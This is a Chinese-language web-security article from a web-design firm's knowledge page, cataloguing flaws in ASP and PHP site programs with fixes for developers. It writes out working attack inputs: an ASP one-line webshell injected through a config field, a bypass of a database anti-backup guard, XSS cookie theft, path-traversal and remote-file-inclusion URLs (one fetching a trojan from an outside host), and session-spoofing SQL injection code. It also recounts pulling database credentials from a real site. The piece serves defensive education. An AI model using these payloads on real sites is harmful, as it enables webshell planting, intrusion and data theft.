知识学堂
  • ·联系电话:+86.023-75585550
  • ·联系传真:+86.023-75585550
  • ·24小时手机:13896886023
  • ·QQ 咨 询:361652718 513960520
当前位置 > 首页 > 知识学堂 > 网站建设知识
网站安全漏洞的产生分析、处理总结(2)
更新时间:2012-04-04 | 发布人:本站 | 点击率:423

3)程序参数允许写入文件

在对“蓝木企业管理系统”进行分析的时候发现现在有很多程序在后台允许设置的参数是允许写入文件的。这个做的问题就是允许我们构造特殊的语句,将一个参数保存文件改造为一个木马,当提交的表单对文本域的长度进行限制的时候我们可以构造一个一句话木马,没有过滤的话,我们就可以直接写入一个大马了。所以建议程序员养成良好的习惯,将参数数据都保存到数据库中,不要保存到文件里,避免类似情况的发生。

下面我们以蓝木企业管理系统为例,进行演示:

这里的所有参数都是写入到setup.asp这个文件里的

因为他并没有对写入的参数进行任何的过滤,所以我们可以手工写入参数,对语句进行提前结束,然后得到一个一句话后门。我们这里修改网站名称好了,改为:

测试"%><%execute request("value")%><%a="1

发现修改后的配置文件内容变为

访问setup.asp返回


证明构造一句话木马成功,接下来就是上传大马,这里就不详细演示了。

4)mdb数据库改用ASP\ASA等名字作为数据库扩展名

自从网上出现了下载默认数据库文件进行密码爆破,从而得到后台权限的入侵例子,很多站长开始盲目的跟随改数据库文件名的潮流,将mdb数据库改为asp或asa在过去确实可以防止下载,但是后来网上陆续出现了各种下载软件支持下载asp文件,人们可以下载完后改名得到数据库。

数据库被下载还不是最可怕的,一个asp扩展名的数据库在构造一句话木马的时候利用价值是非常大的,入侵者可以在任何可以对数据库写入数据的地方像数据库写入精心构造的一句话木马,成功写入只要寻找一个具有写权限的目录,即可生成一个webshell

当然这样的问题只存在于数据库路径已知、存在暴库漏洞、后台允许备份数据库为指定文件名等情况下

那么防止数据库被下载的办法有如下几种:

1.给数据库名称添加特殊符号 例如:#@$database.mdb

2.修改数据库扩展名例如:database.jsp(前提是你的服务器不支持jsp否则将可能被利用来构造一句话木马)

3.将数据库放到网站上层目录,然后使用绝对路径进行调用,现在很多空间提供商都提供这样的功能

例如:网站目录D:\www\test\wwwroot

上层路径存在一个专门用来存放数据库的文件夹database

那么在数据库调用时候使用

D:\www\test\database\database.mdb

这样只要数据库文件不在网站当前目录下,入侵者就无法下载了。

4.为数据库添加一个新表,表里的内容是十六进制数据:3C25206C6F6F70203C25

也就是<% loop <%,这个时候如果往数据库里添加一句话,企图备份为asp的话,就会出现错误




但是这个办法并不是绝对安全的,所谓“上有政策下有对策“。这个办法很快就被破解了,破解的办法是:构造语句

<%'<% loop <%:%>

只要我们在数据库里的两个地方合适地插入<%'和:%>

即可将loop的防下载给过滤掉

所以为了更好的保护我们的数据库,我个人建议网站编写者最好在数据库里添加loop防下载代码,同时提醒用户修改数据库默认名称并将数据库放到网站的上层目录中。

5)后台显示数据库路径

现在有很多网站程序后台有带类似asp探针一类的功能,可以显示网站的绝对路径以及数据库的文件名称,这个功能对于一个网站建设者来说没有什么实用价值,到是它给入侵者带来的价值更高。很多时候知道网站路径即可进行跳转和写入木马,而知道数据库路径的话问题更为严重:可以下载数据库获取更多信息和客户资料、运气好的话还可以写入一句话木马。

所以后台显示网站路径及数据库路径和名称这个功能尽量避免使用。

6)数据库可备份修改扩展

备份数据库——一个典型的获取webshell的办法,通过上传一个jpg或者其他格式的木马,然后通过备份得到一个asp、php、jsp的webshell,所以现在很多网站程序在备份的时候都是由系统自动生成的文件名,不允许用户自定义。其实数据库备份这个功能完全不必要,加入网站被删除,数据库肯定会被黑客删除。最好的备份方式是自己手工备份到本地电脑。



7 )文件管理部分传递参数过滤问题及外部提交

这个漏洞的典型例子就是Ewebeditor

他的uploadfile.asp等文件中就存在着典型的参数外部提交,导致入侵者可以由浏览器提交需要列出文件的路径,从而达到任意目录浏览的目的,可以浏览目录就可以知道数据库路径,从而获得更高的信息和权限。

这里dir的值是从浏览器获取的,而且没有进行过滤,所以我们手工构造下就可以跳转到任意目录了



允许浏览任意目录的同时伴随的允许下载任意文件,例如数据库连接配置文件conn.asp或者你可以直接浏览得到数据库名称,并对其进行下载。所以网站编写中对于文件管理这个功能的编写一定要尽可能的避免允许外部提交参数并且对目录的访问进行过滤和限制。

8)XSS漏洞骗取cookies得到后台权限

这里有一段简单的检测代码:<script>alert("测试");</script>

将这段代码插入到你的网站可以提交数据的地方,例如:留言本,论坛,新闻。等的标题位置,或者内容位置,提交后访问对应的留言或者文章,如果弹出窗口

则说明这个位置存在Xss漏洞。关于xss的漏洞的详细说明和利用办法这里不具体了解了。我们就来说说它的危害。

一个普通的xss代码可以用来挂马,但是一个精心构造的xss代码却可以用来渗透,盗取管理员cookies,然后在本地修改cookies从而得到后台权限。当然xss的功能之强大不仅限于此。我们所要知道的就是,一定要注意在网站程序编写过程中对代码和数据的过滤进行严格处理,用主动防御的一句话叫做“宁可错杀一千,也不放过一个“。

另外提供一个解决方案:

对用户的cookies进行加密处理,后台用户使用session验证。

因为session是保存在服务器的。所以即使cookies被盗取,入侵者无法在session对象消失以前进行操作的话,也无法得到更深入的权限。

9)任意文件下载漏洞

典型的例子就是新云,由于下载文件时候允许从地址栏提交文件路径。导致用户可以构造路径下载网站数据库配置文件,从而得到后台权限

例:

http://www.xxx.com/flash/downfile.asp?url=uploadfile/../../conn.asp

这个漏洞同样出现在了黑客防线的网站上。

黑客防线使用的程序是”乔客” CMS 3.0 通过这个漏洞,我们得到了数据库帐号密码。

可惜是内网数据库,没有webshell的前提下我们无法进行深入的检测了。


由此我们可以看出,任意文件下载漏洞有多么可怕.所以对编写下载网站程序的程序员提出下面几点注意事项:

1. 下载文件路径保存进数据库,禁止外部提交

2. 假如入侵者已经得到后台权限,或者在前台允许自己提交资源连接(自己构造一个conn.asp的下载路径)依然可以下载指定文件,所以一定要对文件路径进行过滤

3. 对下载文件类型进行过滤,设置允许下载的格式

10 )远程包含漏洞

这个漏洞够强悍,直接得到webshell,还好这个漏洞只存在于PHP中。我们来简单说明下漏洞形成原因:

<?php
include($include."/a.php");
?>
$include已经设置好路径,但是我们可以通过构造一个路径来达到攻击的目的.

比方说我们提交:
http://www.xxx.com/index.php?include=http://www.ccc.com/muma.txt?

就可以轻松获得一个webshell。解决办法是关闭全局变量。4.2版本以后都是默认关闭的,为了就是解决这个问题,所以也请广大服务器管理员注意跟新服务器上的第三方程序版本。

11)使用未加密的cookies进行用户权限等级及权限验证

有很多网站程序员图方便,和节约服务器资源,使用cookies来验证用户信息。导致入侵者可以通过修改本地cookies进行入侵。而session对象虽然比较安全,但由于是保存在服务器上,30分钟不活动才会自动清理出内存,所以消耗资源非常大。相对折中的处理办法是:

对于前台用户使用加密的cookies而后台用户则使用session这样一来不但提高效率和减少资源消耗,还提高了安全性。因为后台用户数量少,而且使用session也可以降低Xss的成功率。

12)session对象欺骗

去年在邪恶八进制论坛上看到的才知道有session欺骗这个说法,session欺骗的最低条件是必须拿下同服务器的一个其他站点,也就是我们说的旁注。

因为session是保存在服务器上的,所以必须将构造好的session欺骗用的文件上传到旁注到的站点里,才能对服务器里的session进行欺骗。下面就是一个session欺骗的实例:

这段代码将session写入了数据库

<%
dim rs
set rs=Server.Createobject("Adodb.recordset")
sql="select * from kevinadmin"
rs.open sql,conn
oldpass=rs("k_pass")
rs.close
sql="update kevinadmin set k_pass='" & request.Form("passwd2") &"' Where k_user='" & session("user") & "'"
'response.write sql
rs.open sql,conn
if err then
response.write "修改失败"
else
response.write "修改成功"
end if
%>

我们可以通过构造进行session注入

<%
session("user")="Huanhuan'and 1=2 and '1'='1"
%>
同样我们可以利用这个构造修改用户ID或者权限:

<%
Session("UserID")="105"
%>

Session(“”)里面的内容根据不同程序使用的名称而定

看论坛里的人测试过,证明可行。

所以服务器的安全设置对于一个网站的安全性也是非常重要的

所以下一次我将为大家带来关于服务器安全漏洞分析和设置的相关文章,敬请期待!

分享到: QQ空间 新浪微博 开心网 人人网